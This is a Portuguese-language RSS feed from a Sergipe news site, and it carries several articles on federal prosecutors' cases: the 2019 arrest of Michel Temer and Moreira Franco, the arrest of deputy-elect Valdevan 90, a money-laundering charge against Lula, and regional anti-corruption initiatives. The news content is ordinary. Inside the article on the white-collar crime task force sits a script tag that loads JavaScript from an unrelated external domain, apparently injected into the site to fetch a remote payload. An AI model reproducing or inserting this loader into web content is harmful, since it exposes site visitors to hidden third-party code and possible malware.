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	<title>Arquivo para MPF - Só Sergipe</title>
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	<description>Notícias de Sergipe levadas a sério.</description>
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	<title>Arquivo para MPF - Só Sergipe</title>
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		<title>Esquema envolvendo Temer e Moreira Franco movimentou R$ 1,8 bi</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Thu, 21 Mar 2019 22:29:55 +0000</pubDate>
				<category><![CDATA[Política]]></category>
		<category><![CDATA[Política nacional]]></category>
		<category><![CDATA[criminosos]]></category>
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					<description><![CDATA[<p>O ex-presidente Michel Temer e o ex-ministro Moreira Franco, juntos com os demais presos nesta quinta-feira, teriam movimentado irregularmente, R$ 1,8 bilhão, envolvendo vários órgãos públicos e empresas estatais, segundo o Ministério Público Federal (MPF). A organização atuava há 40 anos, tendo entre os envolvidos, Temer e o amigo dele João Baptista Lima Filho, conhecido [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;">O ex-presidente Michel Temer e o ex-ministro Moreira Franco, juntos com os demais presos nesta quinta-feira, teriam movimentado irregularmente, R$ 1,8 bilhão, envolvendo vários órgãos públicos e empresas estatais, segundo o Ministério Público Federal (MPF). A organização atuava há 40 anos, tendo entre os envolvidos, Temer e o amigo dele João Baptista Lima Filho, conhecido como coronel Lima, conforme os procuradores.</p>
<p style="text-align: justify;">[box type=&#8221;warning&#8221; align=&#8221;aligncenter&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: justify;">A procuradora Fabiana Schneider disse que a organização começou quando Temer era secretário de Segurança de São Paulo e coronel Lima como auxiliar imediato. &#8220;Coronel Lima e Temer atuam desde a década de 80 juntos, quando Temer ocupou a Secretaria de Segurança de São Paulo. Lima passou a atuar na Argeplan (empresa e engenharia), com vários contratos públicos. Houve crescimento de contratações da Argeplan quando Temer ocupou cargos públicos. Uma planilha identifica pagamentos e promessas ao longo de 20 anos para MT, ou seja, Michel Temer”, disse a procuradora.</p>
<p style="text-align: justify;">O procurador regional da República, Eduardo El Hage, explicou que o valor de R$ 1,8 bilhão é fruto da soma de todos os crimes supostamente relacionados ao grupo, nos últimos 40 anos. “Existe uma tabela discriminando todos os valores de propinas na peça do MPF. Eles vêm assaltando os órgãos públicos há décadas”, disse El Hage, acrescentando que a Lava Jato continuará as investigações.</p>
<p>[/box]</p>
<p style="text-align: justify;">De acordo com o procurador da Lava Jato, Sérgio Pinel, o &#8220;grupo criminoso adotava como modus operandi o parcelamento da propina por vários anos. Todas as propinas que identificamos ou que estejam em investigação, promessas ou pagas, somamos e chegamos a esta cifra”.</p>
<p style="text-align: justify;">Segundo a procuradora Fabiana Schneider, o caso da mala de dinheiro apanhada por Rodrigo Rocha Loures, que na época era assessor de Temer, propiciou a coleta de áudios, que apontam que coronel Lima atuava na intermediação para entrega de dinheiro. A reforma na casa de Maristela Temer, filha do ex-presidente, segundo a procuradora, usou dinheiro ilícito.</p>
<p style="text-align: justify;"> “A reforma na casa de Maristela Temer não deixa dúvida de como o dinheiro entrava na Argeplan e saía em benefício da família Temer”, disse. De acordo com Fabiana Schneider, foi identificado pelo Conselho de Controle de Atividades Financeiras (Coaf) uma tentativa de depósito de R$ 20 milhões na conta da Argeplan, em outubro de 2018.</p>
<h2 style="text-align: justify;">Presos</h2>
<p style="text-align: justify;">Temer e Moreira Franco, presos hoje (21), em um desdobramento da Operação Lava Jato, ficarão detidos em uma cela especial da Unidade Prisional da Polícia Militar, em Niterói, na região metropolitana do Rio de Janeiro. A determinação é do juiz Marcelo Bretas, titular da 7ª Vara Federal Criminal, atendendo um pedido da Força-Tarefa da Operação Lava Jato do Ministério Público Federal. Os procuradores alegaram que, por ser ex-presidente da República, Michel Temer tem direito a tratamento especial, assim como Moreira Franco, que foi ministro até dezembro de 2018.</p>
<p style="text-align: justify;">O coronel Lima também terá direito à cela especial no Estado Maior da PM, em Niterói. Segundo o MPF, o coronel é o operador do esquema de corrupção chefiado pelo ex-presidente.</p>
<p style="text-align: justify;">Michel Temer foi preso em casa, em São Paulo, e Moreira Franco, ao desembarcar no Aeroporto Internacional Galeão-Tom Jobim, no Rio de Janeiro. Ambos devem passar por exame de corpo delito antes de serem levados para a unidade prisional.</p>
<p style="text-align: justify;">O ex-presidente e o ex-ministro são investigados por <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/politica/noticia/2019-03/mpf-acusa-temer-e-moreira-franco-de-corrupcao-em-obras-de-angra-3">recebimento de propina</a></span> de obras relacionadas à Usina Nuclear Angra 3, no Rio de Janeiro.</p>
<h2 style="text-align: justify;">Defesas</h2>
<p style="text-align: justify;">O advogado do ex-presidente, Eduardo Carnelós, disse, por meio de nota, que a prisão de Temer não tem fundamento.</p>
<p style="text-align: justify;">Em nota, a defesa de Moreira Franco manifestou &#8220;inconformidade com o decreto de prisão cautelar&#8221;.</p>
<p>Fonte: Agência Brasil</p>
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		<title>PF prende o deputado federal eleito Valdevan 90</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Fri, 07 Dec 2018 22:28:31 +0000</pubDate>
				<category><![CDATA[Política]]></category>
		<category><![CDATA[Aracaju]]></category>
		<category><![CDATA[deputado federal eleito]]></category>
		<category><![CDATA[fraude]]></category>
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		<category><![CDATA[testemunhas]]></category>
		<category><![CDATA[Valdevan 90]]></category>
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					<description><![CDATA[<p>A Polícia Federal (PF) prendeu preventivamente, hoje, 7, em Aracaju, o deputado federal eleito por Sergipe, Valdevan 90 (PSC), acusado de fraudar as prestações de contas e orientar os doares a respeito do que teriam que dizer, quando convocados para depor. Valdevan 90, presidente licenciado do Sindmotoristas, entidade que representa os motoristas e cobradores de [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">A Polícia Federal (PF) prendeu preventivamente, hoje, 7, em Aracaju, o deputado federal eleito por Sergipe, Valdevan 90 (PSC), acusado de fraudar as prestações de contas e orientar os doares a respeito do que teriam que dizer, quando convocados para depor. Valdevan 90, <span style="color: #0000ff;"><a style="color: #0000ff;" href="https://sao-paulo.estadao.com.br/blogs/diego-zanchetta/presos-em-2003-ex-aliados-disputam-comando-de-sindicato-dos-motoristas/">presidente licenciado do Sindmotoristas,</a></span> entidade que representa os motoristas e cobradores de ônibus da cidade de São Paulo, foi preso quando estava no restaurante Sal e Brasa. A PF chamou a operação de Extraneus e fez prisões em Aracaju, Estância e Taboão da Serra (SP).</p>
<p style="text-align: justify;">O Ministério Público Federal em Sergipe  diz  que após o período eleitoral, foram registradas 85 doações, todas com o mesmo valor: R$ 1050, o que chamou a atenção do órgão.</p>
<p style="text-align: justify;">As investigações da PF concluíram, também, que Valdevan tentava coagir testemunhas, a maioria delas beneficiárias do Bolsa Família.  Além disso, ele se utilizava de “laranjas” para simular diversas doações em favor da sua campanha, nela aportando valores cuja origem é desconhecida para o custeio de suas despesas. No curso das apurações, verificou-se a atuação dos envolvidos com o intuito de direcionar os relatos dos “laranjas” chamados a prestarem esclarecimentos, como forma de mascarar a realidade dos fatos.</p>
<p style="text-align: justify;">Ao todo foram três mandados de busca e apreensão e dois de prisão preventiva. Contra os acusados recaem os crimes de do artigo do artigo 350, caput, do Código Eleitoral, sem prejuízo de novas imputações a serem verificadas na sequência das apurações. A operação policial foi assim denominada de Extraneus em alusão ao fato do investigado ter sido eleito por Sergipe, mesmo sem ligação domiciliar recente com o Estado, uma vez que, há muitos anos, é radicado em outra unidade da federação.</p>
<p style="text-align: justify;">A prisão não significa a perda ou não do registro da candidatura, que vaia depender do Ministério Público Federal (MPF).</p>
<p style="text-align: justify;">José Valdevan de Jesus Santos, o Valdevan 90, obteve 45.472 votos totalizados (4,55% dos votos válidos) nas eleições 2018. Ele é natural de Estância (SE), mas mora há 31 anos na cidade de Taboão da Serra, a 18 km da capital paulista, onde foi vereador por dois mandatos consecutivos (2004 e 2008). Foi eleito presidente do Sindicato dos Rodoviários de São Paulo, o qual faz parte desde 2000, para a gestão 2018 – 2023, mas afastou-se do cargo por conta das eleições para deputado.</p>
<p style="text-align: justify;"><strong>[box type=&#8221;warning&#8221; align=&#8221;aligncenter&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</strong></p>
<p style="text-align: justify;"><strong>Outro lado</strong> – Ao site<span style="color: #0000ff;"><a style="color: #0000ff;" href="https://diariodotransporte.com.br/2018/12/07/presidente-do-sindicato-dos-motoristas-de-sao-paulo-e-detido-pela-pf-em-aracaju/"> Diário do Transporte,</a></span> o assessor da presidência do Sindmotoristas, Romualdo Santos, disse no início da noite desta sexta-feira, 07, que Valdevan Noventa é alvo de perseguição política movida por candidatos que foram derrotados pelo sindicalista no pleito eleitoral.</p>
<p style="text-align: justify;">Romualdo Santos ainda disse ao Diário do Transporte que não há prova contra o sindicalista. “É perseguição política. Não há prova robusta e Noventa foi convidado a ir à PF. As acusações não são verdadeiras. Noventa é idôneo” – declarou Santos.</p>
<p style="text-align: justify;">Noventa fica como presidente do Sindmotoristas de São Paulo até o final do ano, quando será nomeado um substituto.  Atualmente, o sindicalista está licenciado do cargo.</p>
<p style="text-align: justify;"><strong>[/box]</strong></p>
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		<title>MPF denuncia ex-presidente Lula por lavagem de dinheiro</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Mon, 26 Nov 2018 18:50:56 +0000</pubDate>
				<category><![CDATA[Política nacional]]></category>
		<category><![CDATA[ARG]]></category>
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					<description><![CDATA[<p>O Ministério Público Federal (MPF) denunciou o ex-presidente Luiz Inácio Lula da Silva por lavagem de dinheiro. Também foi alvo da denúncia o controlador do grupo ARG, Rodolfo Giannetti Geo, acusado ainda de tráfico de influência. Segundo os procuradores da Operação Lava Jato, Lula recebeu R$ 1 milhão do empresário, através de uma doação para [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">O Ministério Público Federal (MPF) denunciou o ex-presidente Luiz Inácio Lula da Silva por lavagem de dinheiro. Também foi alvo da denúncia o controlador do grupo ARG, Rodolfo Giannetti Geo, acusado ainda de tráfico de influência. Segundo os procuradores da Operação Lava Jato, Lula recebeu R$ 1 milhão do empresário, através de uma doação para seu instituto, para influenciar as decisões do governante da Guiné Equatorial, Teodoro Obiang, em favor do grupo brasileiro.</p>
<p style="text-align: justify;">A denúncia está baseada em trocas <em>e-mails</em> envolvendo o ex-ministro do Desenvolvimento do governo Lula Miguel Jorge, a diretora do Instituto Lula, Clara Ant, além de Giannetti Geo. As provas foram recolhidas durante a busca e <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://agenciabrasil.ebc.com.br/politica/noticia/2016-03/pf-cumpre-seis-mandados-de-busca-e-apreensao-e-conducao-coercitiva-em" target="_blank" rel="noopener">apreensão realizada</a> </span>na sede do instituto durante a Operação Aletheia, 24ª fase da Operação Lava Jato, em março de 2016.</p>
<p style="text-align: justify;">[box type=&#8221;warning&#8221; align=&#8221;aligncenter&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: justify;">Em um <em>e-mail</em> de 5 de outubro de 2011, Miguel Jorge escreveu para Clara Ant dizendo que Lula tinha interesse em conversar com Geo sobre os empreendimentos na Guiné Equatorial e que o empresário estava disposto a fazer uma “contribuição financeira bastante importante”. O empresário seria mais tarde o portador de cartas trocadas entre Lula e Obiang, que governa o país desde 1979.</p>
<p style="text-align: justify;">Na mensagem enviada pelo ex-presidente brasileiro em maio de 2012, a ARG é mencionada como “empresa que já desde 2007 se familiarizou com a Guiné Equatorial, destacando-se na construção de estradas”. Lula diz ainda, no mesmo texto, que acreditava que o país africano passaria a fazer parte da Comunidade de Países de Língua Portuguesa (CPLP). De acordo com o MPF, Obiang havia pedido a Lula para que falasse com a então presidente Dilma Rousseff para facilitar a inclusão da Guiné na CPLP.</p>
<p style="text-align: justify;">Em junho de 2016, a AGR fez uma doação de R$ 1 milhão ao Instituto Lula. Segundo os procuradores, foi o pagamento ao ex-presidente por ter usado sua influência para obter vantagens para o grupo empresarial. Como Lula, tem mais de 70 anos, o crime de tráfico de influência prescreveu. No entanto, o registro como doação é, na denúncia do MPF, uma forma de dissimular o recebimento de recursos de origem ilegal, configurando assim lavagem de dinheiro.</p>
<p>[/box]</p>
<p style="text-align: justify;">Defesa &#8211;  Em nota divulgada hoje (26), o advogado de Lula, Cristiano Zanin Martins, classificou a denúncia como “continuidade a uma perseguição política”. De acordo com o defensor do ex-presidente, não existem elementos que demonstrem que Lula tenha cometido qualquer ilegalidade.</p>
<p style="text-align: justify;">“A acusação foi construída com base na retórica, sem apoio em qualquer conduta específica praticada pelo ex-Presidente Lula, que sequer teve a oportunidade de prestar qualquer esclarecimento sobre a versão da denúncia antes do espetáculo que mais uma vez acompanha uma iniciativa do Ministério Público – aniquilando as garantias constitucionais da presunção de inocência e do devido processo legal”, diz o comunicado.</p>
<p style="text-align: justify;">O advogado disse ainda que espera que a Justiça rejeite a denúncia.</p>
<p style="text-align: justify;">A <strong>Agência Brasil</strong> não conseguiu contato com a defesa do empresário Rodolfo Giannetti Geo.</p>
<p>Fonte: Agência Brasil</p>
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		<title>MPF mostra avanços no combate a lavagem de dinheiro</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Mon, 29 Oct 2018 20:18:27 +0000</pubDate>
				<category><![CDATA[Cidades]]></category>
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					<description><![CDATA[<p>Nesta segunda-feira (29), comemora-se o Dia Nacional de Prevenção à Lavagem de Dinheiro, data definida para alertar a sociedade civil e o setor privado sobre o crime, previsto na lei 9.613, de 1998. Nesse sentido, o Ministério Público Federal (MPF) em Sergipe tem aumentado seus esforços para combater a prática. Para aperfeiçoar as investigações no [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">Nesta segunda-feira (29), comemora-se o Dia Nacional de Prevenção à Lavagem de Dinheiro, data definida para alertar a sociedade civil e o setor privado sobre o crime, previsto na lei 9.613, de 1998. Nesse sentido, o Ministério Público Federal (MPF) em Sergipe tem aumentado seus esforços para combater a prática.</p>
<p style="text-align: justify;">Para aperfeiçoar as investigações no tema, a instituição tem atuado em diversas frentes. Entre elas, está o reforço da Seção de Pesquisa e Análise Descentralizada do MPF, a promoção de cursos e capacitações e a realização de parcerias e convênios com diferentes órgãos federais e estaduais para troca de informações.</p>
<p style="text-align: justify;"><strong>Parcerias</strong> – Em agosto, o MPF em Sergipe, a Polícia Federal e a Receita Federal (RFB) criaram um grupo para aumentar a articulação e a integração das instituições, por meio da troca de informações. O Grupo de Coordenação Interinstitucional (GCI) terá a missão de fomentar novos mecanismos para as investigações, com base no compartilhamento de dados entre as instituições. O GCI é composto por três procuradores da República, três delegados da PF e três auditores da RFB, que se reúnem bimensalmente.</p>
<p style="text-align: justify;">Já em setembro, foi firmado acordo com o MP-SE com objetivos semelhantes. Além da troca de dados e informações de investigações, o acordo também prevê a troca de tecnologia, principalmente por meio do uso do Laboratório de Tecnologia contra a Lavagem de Dinheiro do MP-SE. A cooperação prevê ainda a facilitação do acesso de servidores e membros de ambas as instituições a cursos e capacitações, aumentando a possibilidade de qualificação dos quadros.</p>
<p style="text-align: justify;">[box type=&#8221;info&#8221; align=&#8221;&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]Para aperfeiçoar as investigações, o MPF também firmou convênio com o CREA/SE, com a Energisa, com o Tribunal de Justiça e com a Secretaria de Segurança Pública. “Com os convênios, agilizamos a troca de informações e conseguimos acesso a banco de dados que nos garantem mais qualidade nas investigações”, relata o procurador-chefe Rômulo Almeida.</p>
<p>[/box]</p>
<p style="text-align: justify;"><strong>Inteligência</strong> – Para qualificar os procedimentos investigativos, o MPF tem buscado estruturar cada vez mais o setor específico de inteligência da unidade – a Seção de Pesquisa e Análise Descentralizada (Sepad). No último ano, a instituição adquiriu diversos equipamentos para uso em investigações e diligências, entre eles: filmadoras, câmeras e drones.</p>
<p style="text-align: justify;">Também ampliou o número de servidores lotados no setor. “A equipe foi reforçada com especialista em contabilidade, além de já contar com perito da área de engenharia civil”, explica Rômulo Almeida. Servidores responsáveis por realizar diligências externas passaram por curso de aperfeiçoamento em inteligência em Brasília, na Procuradoria Geral da República e em Aracaju, na Secretaria de Segurança Pública.</p>
<p style="text-align: justify;"><strong>Capacitação</strong> – Para otimizar e aumentar a abrangência das investigações, já foram realizados vários treinamentos sobre investigações. Somente neste segundo semestre, foram oferecidas duas capacitações em conjunto com a Agência Nacional de Telecomunicações (Anatel), sendo uma delas realizada na sede do MPF em Sergipe e que contou com a participação de policiais civis e federais, servidores da Controladoria-Geral da União (CGU) e da Agência Brasileira de Inteligência (Abin). Os profissionais também receberam treinamento com técnicos do Banese sobre análise bancária de fita de caixa.</p>
<p style="text-align: justify;">“Com os incrementos, o MPF vai ter condições de fazer análises bancárias a partir de dados mais complexos, usando sistemas mais modernos, fazendo cruzamento de dados e assim desencadear junto aos órgãos parceiros, como a Polícia Federal, grandes operações a fim de combater o crime de lavagem de dinheiro”, ressalta o procurador-chefe.</p>
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		<title>MPF vai investigar crimes eleitorais em Sergipe</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Sun, 07 Oct 2018 22:32:36 +0000</pubDate>
				<category><![CDATA[Política]]></category>
		<category><![CDATA[crimes eleitorais]]></category>
		<category><![CDATA[investigar]]></category>
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					<description><![CDATA[<p>As suspeitas de crimes eleitorais identificada pela polícia, entre sábado e hoje, serão investigadas pelo Ministério Público Federal em Sergipe (MPF). A maioria dos casos apura compra de votos e propaganda de boca de urna. Pelo menos em 19 municípios, a Polícia Militar  (PM) registrou casos suspeitos. [box type=&#8221;warning&#8221; align=&#8221;aligncenter&#8221; class=&#8221;&#8221; width=&#8221;&#8221;] A procuradora Regional [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">As suspeitas de crimes eleitorais identificada pela polícia, entre sábado e hoje, serão investigadas pelo Ministério Público Federal em Sergipe (MPF). A maioria dos casos apura compra de votos e propaganda de boca de urna. Pelo menos em 19 municípios, a Polícia Militar  (PM) registrou casos suspeitos.</p>
<p style="text-align: justify;">[box type=&#8221;warning&#8221; align=&#8221;aligncenter&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: justify;">A procuradora Regional Eleitoral, Eunice Dantas, explica que uma suspeita de compra de votos gera duas investigações em paralelo: é instaurado um inquérito policial para a investigação do crime eleitoral de compra de voto. O acompanhamento desta etapa é de responsabilidade do promotor eleitoral do município.</p>
<p style="text-align: justify;">Simultaneamente, a Procuradoria Regional Eleitoral instaura um Procedimento Preparatório Eleitoral para investigar o ilícito eleitoral de captação ilícita de sufrágio. Esse processo pode gerar cassação do registro do mandato e inelegibilidade por oito anos. Tanto os candidatos envolvidos quanto as pessoas presas serão investigados para apurar a responsabilidade pela compra de voto.</p>
<p style="text-align: justify;">“Temos até a data da diplomação dos eleitos, que acontece até 19 de dezembro, para ajuizar as ações para responsabilizar os envolvidos”, detalhou Eunice Dantas.</p>
<p>[/box]</p>
<p style="text-align: justify;">Os municípios onde a PM identificou suspeitas de fraude eleitoral foram: Aracaju, Brejo Grande, Canindé de São Francisco, Capela, Cumbe, Frei Paulo, Itabaiana, Itabi, Lagarto, Laranjeiras, Neópolis, Nossa Senhora do Socorro, Pirambu, Propriá, Riachão do Dantas, Santa Luzia do Itanhy, Santo Amaro das Brotas e São Cristóvão.</p>
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		<title>Grupo vai combater crime do colarinho branco em Sergipe</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Thu, 23 Aug 2018 13:31:40 +0000</pubDate>
				<category><![CDATA[Política]]></category>
		<category><![CDATA[Segurança Pública]]></category>
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					<description><![CDATA[<p>Pela primeira vez em Sergipe, representantes do Ministério Público Federal, Receita Federal e Polícia Federal  criam um grupo de trabalho, cujo objetivo é combater os crimes de lavagem de dinheiro, contra ordem tributária e contra administração pública, conhecidos como crime do colarinho branco. “O objetivo é ampliar a articulação e a integração entre as instituições, [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">Pela primeira vez em Sergipe, representantes do Ministério Público Federal, Receita Federal e Polícia Federal  criam um grupo de trabalho, cujo objetivo é combater os crimes de lavagem de dinheiro, contra ordem tributária e contra administração pública, conhecidos como crime do colarinho branco. “O objetivo é ampliar a articulação e a integração entre as instituições, de forma a garantir mais agilidade nas comunicações e transparência nas ações”, assegura o procurador-chefe do Ministério Público Federal em Sergipe, Rômulo Almeida.</p>
<p style="text-align: justify;">Na quarta-feira, 22, foi assinada a portaria criando Grupo de Coordenação Interinstitucional (GCI), formalizando o empenho na interlocução permanente e na garantia do relacionamento institucional direto.</p>
<p style="text-align: justify;">[box type=&#8221;warning&#8221; align=&#8221;aligncenter&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: justify;">Por meio do GCI, haverá o compartilhamento de informações entre MPF, PF e Receita Federal com a finalidade da produção de pesquisas e informes de interesse das instituições. “Vamos desenvolver ações conjuntas, visando ao máximo aproveitamento das informações disponíveis nos bancos de dados das três instituições”, ressalta o delegado da Receita Federal em Sergipe Marlton Caldas de Souza.</p>
<p style="text-align: justify;">A ideia do GCI é fomentar novos mecanismos de atuação para instruir eventuais procedimentos investigatórios. “O planejamento de diligências e outras atividades de investigação é outro ponto que será facilitado com a criação do GCI”, explica a superintendente Regional da Polícia Federal Erika Mialik Marena.</p>
<p>[/box]</p>
<p style="text-align: justify;">Integrarão o CGI três procuradores da República, três delegados da Polícia Federal e três auditores da Receita Federal. As reuniões ordinárias ocorrerão a cada dois meses e, extraordinariamente, a qualquer momento acordado entre os membros do grupo.</p>
<p><strong>Sabia mais:</strong></p>
<p>O <span style="color: #000080;"><a style="color: #000080;" href="https://pt.wikipedia.org/wiki/Crime_do_colarinho_branco"><b>crime do colarinho branco</b></a></span> foi definido inicialmente pelo criminalista <strong><span style="color: #000080;"><a style="color: #000080;" title="Estados Unidos" href="https://pt.wikipedia.org/wiki/Estados_Unidos">norte-americano</a>, <a style="color: #000080;" title="Edwin Sutherland" href="https://pt.wikipedia.org/wiki/Edwin_Sutherland">Edwin Sutherland</a>,</span></strong> como sendo &#8220;um crime cometido por uma pessoa respeitável, e de alta posição (<i>status</i>) social de Estado, no exercício de suas ocupações&#8221;.</p>
<p>Sutherland foi o proponente do <i>Interacionismo simbólico</i> e acreditava que o comportamento criminoso é aprendido através de relações interpessoais com outros criminosos com características de Autoridade, seja a nível de Grande Empresa Estatal como de Estado.</p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
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		<title>STJ rejeita habeas corpus preventivo de Lula</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Tue, 06 Mar 2018 21:04:17 +0000</pubDate>
				<category><![CDATA[Nacional]]></category>
		<category><![CDATA[Política nacional]]></category>
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					<description><![CDATA[<p>A Quinta Turma do Superior Tribunal de Justiça (STJ) negou hoje (6), por unanimidade, um habeas corpus preventivo ao ex-presidente Luiz Inácio Lula da Silva. No pedido, Lula pretendia evitar sua prisão após esgotados na segunda instância da Justiça Federal os recursos contra sua condenação no caso do triplex no Guarujá (SP). Dessa maneira, o colegiado confirmou [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">A Quinta Turma do Superior Tribunal de Justiça (STJ) negou hoje (6), por unanimidade, um <em>habeas corpus preventivo </em>ao ex-presidente Luiz Inácio Lula da Silva. No pedido, Lula pretendia evitar sua prisão após esgotados na segunda instância da Justiça Federal os recursos contra sua condenação no caso do triplex no Guarujá (SP). Dessa maneira, o colegiado confirmou decisão de janeiro proferida pelo vice-presidente do STJ, ministro Humberto Martins, que havia negado liminar (decisão provisória) pedida no mesmo <em>habeas corpus</em>. O último voto foi do ministro Joel Ilan Paciornik.</p>
<p style="text-align: justify;">A decisão do STJ não resulta na prisão imediata de Lula, que ainda tem um último recurso no Tribunal Regional Federal da 4ª Região (segunda instância) para ser julgado. No entanto, o recurso é um embargo de declaração, tipo de apelação que, em tese, não permite a reforma da condenação, mas somente o esclarecimento de dúvidas na sentença. Além disso, a defesa do ex-presidente tenta evitar a prisão por meio de um<em> habeas corpus</em> impetrado no Supremo Tribunal Federal (STF).</p>
<p style="text-align: justify;">“No meu entendimento não se vislumbra a existência de qualquer ilegalidade de que o paciente venha porventura iniciar o cumprimento da pena após o esgotamento dos recursos em segundo grau”, afirmou o relator do <em>habeas corpus</em>, ministro Felix Fischer. O ministro citou diversos precedentes do STJ e do Supremo Tribunal Federal (STF) nos quais se permitiu a execução provisória de pena após condenação em segunda instância, mesmo que ainda caibam recursos às cortes superiores.</p>
<p style="text-align: justify;">Presidente da Quinta Turma, o ministro Reynaldo Soares da Fonseca admitiu que o STJ tem sim a prerrogativa de suspender a execução de pena, mas que isso não poderia ser feito em um <em>habeas corpus</em>, mas somente em recurso especial, impetrado após esgotados os recursos em segunda instância. Os ministros Jorge Mussi, Ribeiro Dantas e Joel Ilan Paciornik também votaram contra o<em> habeas corpus</em> preventivo de Lula. O entendimento prevalecente foi o de que o STJ não poderia suspender uma prisão enquanto resta recurso pendente de julgamento na segunda instância, sob pena de suprimir instância.</p>
<p style="text-align: justify;"><strong>Defesa x acusação</strong></p>
<p style="text-align: justify;">No início da sessão desta terça-feira, o advogado Sepúlveda Pertence, que representa Lula, argumentou que a Oitava Turma do Tribunal Regional Federal da 4ª Região (TRF4), responsável por confirmar a condenação do ex-presidente, errou ao citar um precedente do Supremo Tribunal Federal (STF) para embasar a determinação de que ele seja preso após esgotados os recursos em segunda instância.</p>
<p style="text-align: justify;">Para Pertence, o julgamento de 2016 no qual o plenário do STF abriu a possibilidade de execução de pena após condenação em segunda instância seria aplicável àquele caso específico, não vinculando outros processos, razão pela qual o TRF4 falhou ao fundamentar sua determinação.</p>
<p style="text-align: justify;">O subprocurador-geral da República Francisco Sanseverino rebateu o argumento, alegando que o julgamento do STF não é vinculante, mas serve como precedente para que juízes de todo o país possam embasar suas próprias decisões.</p>
<p style="text-align: justify;"><strong>Condenação</strong></p>
<p style="text-align: justify;">Lula foi condenado em 12 de julho de 2017 pelo juiz Sérgio Moro, da 13ª Vara Federal de Curitiba, que considerou o ex-presidente culpado de receber vantagens indevidas da empreiteira OAS, no caso envolvendo um apartamento triplex no Guarujá. Poucos dias depois, a defesa do ex-presidente recorreu à segunda instância, o Tribunal Regional da 4ª Região (TRF4), com sede em Porto Alegre.</p>
<p style="text-align: justify;">A Oitava Turma do TRF4 julgou a apelação em 24 de janeiro. Por 3 votos a 0, o colegiado manteve a condenação por corrupção e lavagem de dinheiro, e ainda aumentou a pena, de 9 anos e 6 meses de prisão para 12 anos e 1 mês em regime fechado.</p>
<p style="text-align: justify;">No julgamento, os desembargadores do TRF4 determinaram que, de acordo com o entendimento atual do STF, Lula deveria começar a cumprir sua pena provisoriamente, logo após o esgotamento de seus recursos na segunda instância, mesmo que ainda hajam apelações pendentes em cortes superiores.</p>
<p style="text-align: justify;">Como a decisão do TRF4 foi unânime, coube aos advogados do ex-presidente protocolarem na segunda instância apenas o chamado embargo de declaração, tipo de recurso que não tem a prerrogativa de reformar a condenação, mas somente esclarecer contradições ou obscuridades no texto da sentença. A previsão é que esta apelação seja julgada até o final de abril.</p>
<p style="text-align: justify;">Ontem (5), o MPF entregou no TRF4 parecer em que pediu a rejeição do recurso do ex-presidente e reiterou a solicitação para que ele seja preso logo após o julgamento da apelação.</p>
<p style="text-align: justify;"><strong>Recursos</strong></p>
<p style="text-align: justify;">Paralelamente aos recursos no TRF4 e ao <em>habeas corpus</em> preventivo no STJ, a defesa de Lula tenta evitar a prisão dele por meio de outro<em> habeas corpus</em> impetrado no Supremo Tribunal Federal (STF). Ao receber o pedido de liberdade, o ministro Edson Fachin, relator do pedido na Corte, resolveu não proferir decisão monocrática, enviando o processo para julgamento pelo plenário.</p>
<p style="text-align: justify;">Depende da ministra Cármen Lúcia, presidente do STF, pautar ou não o <em>habeas corpus</em>preventivo de Lula para julgamento em plenário. Ela tem sofrido pressão de outros ministros da Corte. Na semana passada, por exemplo, a Segunda Turma do Supremo enviou a plenário outros dois <em>habeas corpus</em> sobre o mesmo assunto: pessoas que querem garantida a liberdade após condenação em segunda instância.</p>
<p style="text-align: justify;">A possibilidade de execução provisória de pena após condenação em segunda instância foi o entendimento prevalecente do STF até 2009, quando, numa reviravolta, o Supremo passou a considerar ser necessário o esgotamento de todos os recursos possíveis, o chamado trânsito em julgado, antes da prisão. Em 2016, entretanto, a Corte mudou novamente sua postura, voltando ao entendimento inicial.</p>
<p style="text-align: justify;">O tema voltou a ser alvo de controvérsia no Supremo após decisões monocráticas conflitantes sobre a segunda instância nos últimos meses. Alguns ministros, como Celso de Mello, o mais antigo do STF, passaram a defender abertamente que o plenário volte a julgar a questão, indo de encontro a indicações de Cármen Lúcia de que não pretende pautar o assunto.</p>
<p>Fonte: EBC</p>
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		<title>Carcinicultura será a atividade mais rentável  de Sergipe em 10 anos</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Thu, 23 Nov 2017 15:37:04 +0000</pubDate>
				<category><![CDATA[Negócios]]></category>
		<category><![CDATA[Ansa]]></category>
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					<description><![CDATA[<p>A carcinicultura, cultivo do camarão em cativeiro, será, em 10 anos, a atividade mais rentável em todo Sergipe.  A previsão foi feita pelo engenheiro de pesca da Associação Norte Sergipana de Aquicultura (Ansa), José Milton Barbosa, durante um encontro com 87 criadores do Estado, no auditório do Sebrae.  Mais cedo, o presidente da Ansa, Amilton [&#8230;]</p>
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]]></description>
